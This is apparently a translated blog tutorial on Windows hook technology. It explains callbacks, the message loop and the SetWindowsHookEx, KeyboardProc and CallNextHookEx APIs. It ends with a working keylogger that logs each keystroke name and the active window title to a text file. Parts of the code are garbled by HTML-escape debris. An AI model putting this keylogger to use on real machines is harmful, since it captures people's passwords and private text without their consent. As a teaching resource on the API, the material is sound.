HOOK technology (take keyboard hook as an example)

1. Introduction to callback functions

If you pass a function pointer (address) as a parameter to another function, and when this pointer is used to call the function it points to, we say it is a callback function. The callback function is not called directly by the implementer of the function, but is called by another party when a specific event or condition occurs to respond to the event or condition.

The mechanism of the callback function is as follows:

  • Define a callback function;
  • The party providing the function implementation registers the function pointer of the callback function to the caller during initialization;
  • When a specific event or condition occurs, the caller uses the function pointer to call the callback function to process the event.

2. Introduction to HOOK technology

Windows message passing mechanism, when the application performs related operations, such as clicking the mouse, pressing the keyboard, operating the window, etc., the operating system can sense this event, then put the message into the system message queue, and then go to the application’s message sequence , the application retrieves the message through the Getmessage function, and then calls the DispatchMessage function to dispatch the message to the operating system. The operating system will call the application window specified when designing the window class to process the message. The processing process is shown in the figure. :

For the Windows system, it is built on an event-driven mechanism. To put it bluntly, the entire system is implemented through message passing. Hook is a special message processing mechanism that can monitor various event messages in the system or process, intercept messages sent to the target window, and process them. Therefore, we can customize hooks in the system to monitor the occurrence of specific events in the system and complete specific functions, such as screen word capture, monitoring logs, intercepting keyboard and mouse input, etc.
There are many types of hooks, and each hook can intercept corresponding messages. For example, a keyboard hook can intercept keyboard messages, and a shell hook can intercept, start and close application messages, etc. Hooks can be divided into thread hooks and system hooks. Thread hooks can monitor event messages of specified threads, and system hooks monitor event messages of all threads in the system. Because system hooks will affect all applications in the system, the hook functions must be placed in a separate dynamic link library (DLL).
Therefore, hook is a Windows message interception mechanism. It can intercept messages of a single process (thread hook), it can also intercept messages of all processes (system hook), and it can also perform customized processing of intercepted messages. Windows messages carry some useful information for programs, such as Mouse information, which contains the handle of the window where the mouse is located, the mouse position and other information. By intercepting these messages, you can create screen word-pickup functions such as Kingsoft PowerWord.

3. Functions and structures related to HOOK technology

  1. SetWindowsHookExW function

    HHOOK SetWindowsHookExW(
      [in] int idHook, //Type of hook process to be installed
      [in] HOOKPROC lpfn, //Pointer to the hook process
      [in] HINSTANCE hmod,//The handle of the DLL, including the hook process pointed to by the lpfn parameter
      [in] DWORD dwThreadId//The identifier of the thread to be associated with the hook process.
    //For desktop apps, if this parameter is zero, the hook procedure is associated with all existing threads running in the same desktop as the calling thread.
    );
    
  2. KeyboardProc function

    Description: Whenever an application calls the GetMessage or PeekMessageA/PeekMessageW function and there is a keyboard message (WM_KEYUP or WM_KEYDOWN to be processed) strong>, the system will call this function.

    LRESULT CALLBACK KeyboardProc(
       int code, //The code used by the hook process to determine how to handle the message.
       WPARAM wParam,//The virtual key code that generates the key for the keystroke message
       LPARAM lParam//Repeat count, scan code, extended key flag, context code, previous key state flag and transition state flag.
    );
    
  3. CallNextHookEx function

    Description: Pass the hook information to the next hook process in the current hook chain. The hook procedure can call this function before or after processing hook information.

    LRESULT CallNextHookEx(
       HHOOK hhk, //Ignore this parameter and pass NULL directly.
       int nCode, //Hook code passed to the current hook process. The next hook process uses this code to determine how to handle the hook information
       WPARAM wParam, //The wParam value passed to the current hook process. The meaning of this parameter depends on the type of hook associated with the current hook chain.
       LPARAM lParam//The lParam value passed to the current hook process. The meaning of this parameter depends on the type of hook associated with the current hook chain.
    );
    
  4. MSG structure

    Description: Contains message information from the thread’s message queue.

    typedef struct tagMSG {<!-- -->
      HWND hwnd;//The handle of the window whose window procedure receives the message. This member is NULL when the message is a thread message.
      UINT message;//Identifier of the message. Applications can only use low words; high words are reserved by the system
      WPARAM wParam;//Additional information about the message. The exact meaning depends on the value of the message member.
      LPARAM lParam;//Additional information about the message. The exact meaning depends on the value of the message member.
      DWORD time; //message publishing time
      POINT pt;//The cursor position when publishing the message (expressed in screen coordinates)
      DWORD lPrivate;
    } MSG, *PMSG, *NPMSG, *LPMSG;
    
  5. GetMessage function

    Description: Retrieve the message from the message queue of the calling thread and store the message in lpMsg.

    BOOL GetMessage(
      LPMSG lpMsg, //Pointer to the MSG structure, which receives message information from the thread's message queue.
      HWND hWnd, //The handle of the window whose messages are to be retrieved. The window must belong to the current thread.
    //If hWnd is NULL, GetMessage will retrieve messages for any window belonging to the current thread
      UINT wMsgFilterMin,//The integer value of the lowest message value to be retrieved
      UINT wMsgFilterMax//The integer value of the highest message value to be retrieved
    );
    
  6. TranslateMessage function

    Description: Convert the virtual key message to a character message, which will be published to the calling thread’s message queue to be read the next time the thread calls the GetMessage or PeekMessage function.

    BOOL TranslateMessage(
      [in] const MSG *lpMsg//Pointer to MSG structure
    );
    
  7. DispatchMessage function

    Description: Dispatch messages to window procedures

    LRESULT DispatchMessage(
      const MSG *lpMsg//Pointer to MSG structure
    );
    
  8. KBDLLHOOKSTRUCT structure

    Description: Contains information about low-level keyboard input events

    typedef struct tagKBDLLHOOKSTRUCT {<!-- -->
      DWORD vkCode;//Virtual key code. Code must be a value in the range 1 to 254.
      DWORD scanCode;//Key hardware scan code.
      DWORD flags;//Extended key flags, event injection flags, context code and conversion status flags.
      DWORD time;//The timestamp of this message
      ULONG_PTR dwExtraInfo;//Other information associated with the message
    } KBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
    
  9. GetKeyNameText function

    Description: A string used to retrieve the name of the key.

    Note: The lparam here is not the parameter lparam of the KeyboardProc function but the virtual key code, that is, the vkCode of the KBDLLHOOKSTRUCT structure.

    int GetKeyNameText(LONG lParam,//Virtual key code
               LPTSTR lpString,//The buffer that will receive the key name
               int nSize); //Maximum length of key name in characters, including terminating null character. (This parameter should be equal to the size of the buffer pointed to by the lpString parameter.)
    
    char szkeyName[100] = {<!-- --> 0 };
    KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
    if (wParam == WM_KEYDOWN)
    {<!-- -->
        DWORD t = (kb->scanCode << 16) + (kb->flags << 24);
        int m = GetKeyNameTextA(t, szkeyName, 100);//Get the name of a key entered on the keyboard
        if(m==0)
        {<!-- -->
            MessageBox(NULL, L"Failed to obtain key value!", L"Prompt", NULL);
        }
        fwrite(szkeyName, 1, strlen(szkeyName), fp);
    }
    

4. Simple keyboard hook code

#include <windows.h>
#include <iostream>

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {<!-- -->
    if (nCode >= 0 & amp; & amp; wParam == WM_KEYDOWN) {<!-- -->
        KBDLLHOOKSTRUCT *pKeyBoard = (KBDLLHOOKSTRUCT *)lParam;
        std::cout << "Key pressed: " << pKeyBoard->vkCode << std::endl;
    }
    return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int main() {<!-- -->
    HHOOK hKeyboardHook = SetWindowsHookExW(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);
    if (hKeyboardHook == NULL) {<!-- -->
        std::cerr << "Failed to set keyboard hook, error code: " << GetLastError() << std::endl;
        return 1;
    }

    MSG msg;
    while (GetMessage( & amp;msg, NULL, 0, 0)) {<!-- -->
        TranslateMessage(&msg);
        DispatchMessage( & amp;msg);
    }

    UnhookWindowsHookEx(hKeyboardHook);
    return 0;
}

5. Project actual combat

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{<!-- -->
    HWND hWnd = GetForegroundWindow();
    DWORD dwProcess;
    LRESULT result = 0;
    DWORD dwPID = GetWindowThreadProcessId(hWnd, & amp;dwProcess);

    HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcess);

    WCHAR wszProcessPath[MAX_PATH] = {<!-- --> 0 };
    DWORD dwSize = MAX_PATH;
    QueryFullProcessImageNameW(hProcess, 0, wszProcessPath, & amp;dwSize);
    CHAR wszTitle[MAX_PATH] = {<!-- --> 0 };
    result = GetWindowTextA(hWnd, wszTitle, MAX_PATH);//Get the window name
    FILE* fp = fopen("Myfile.txt","a");
    if (fp == NULL)
    {<!-- -->
       // MessageBox(NULL, L"Document creation failed!", L"Prompt", NULL);
        return CallNextHookEx(g_keyHook, code, wParam, lParam);
    }
    else
    {<!-- -->
        //MessageBox(NULL, L"Document created successfully!", L"Prompt", NULL);
    }
  
    if (lParam & 0x40000000)
    {<!-- -->
        return CallNextHookEx(g_keyHook, code, wParam, lParam);
    }
    if (code == HC_NOREMOVE || code < 0)
    {<!-- -->
        return CallNextHookEx(g_keyHook, code, wParam, lParam);
    }
  
    char szkeyName[100] = {<!-- --> 0 };
    KBDLLHOOKSTRUCT* kb = (KBDLLHOOKSTRUCT*)lParam;
    if (wParam == WM_KEYDOWN)
    {<!-- -->
        DWORD t = (kb->scanCode << 16) + (kb->flags << 24);
        int m = GetKeyNameTextA(t, szkeyName, 100);//Get the name of a key entered on the keyboard
        if(m==0)
        {<!-- -->
            MessageBox(NULL, L"Failed to obtain key value!", L"Prompt", NULL);
        }
        fwrite(szkeyName, 1, strlen(szkeyName), fp);
    }
    fwrite("\t", 1, 2, fp);
    fwrite(wszTitle, 1, strlen(wszTitle), fp);//Write the window name to the file
    fwrite("\r\
", 1, 2, fp);
    fclose(fp);
    return CallNextHookEx(g_keyHook, code, wParam, lParam);
}

6. Reference articles:

  1. [Original] An article to help you understand HOOK technology – software reverse engineering – Kanxue – Security Community | Security Recruitment | kanxue.com
  2. C++ Hacker Programming: Keylogger, HOOK Technology Implementation_c++ Keylogger Code-CSDN Blog
  3. [Original] Button Monitoring Technology-Programming Technology-Kanxue-Security Community|Safety Recruitment|kanxue.com
  4. Microsoft official documentation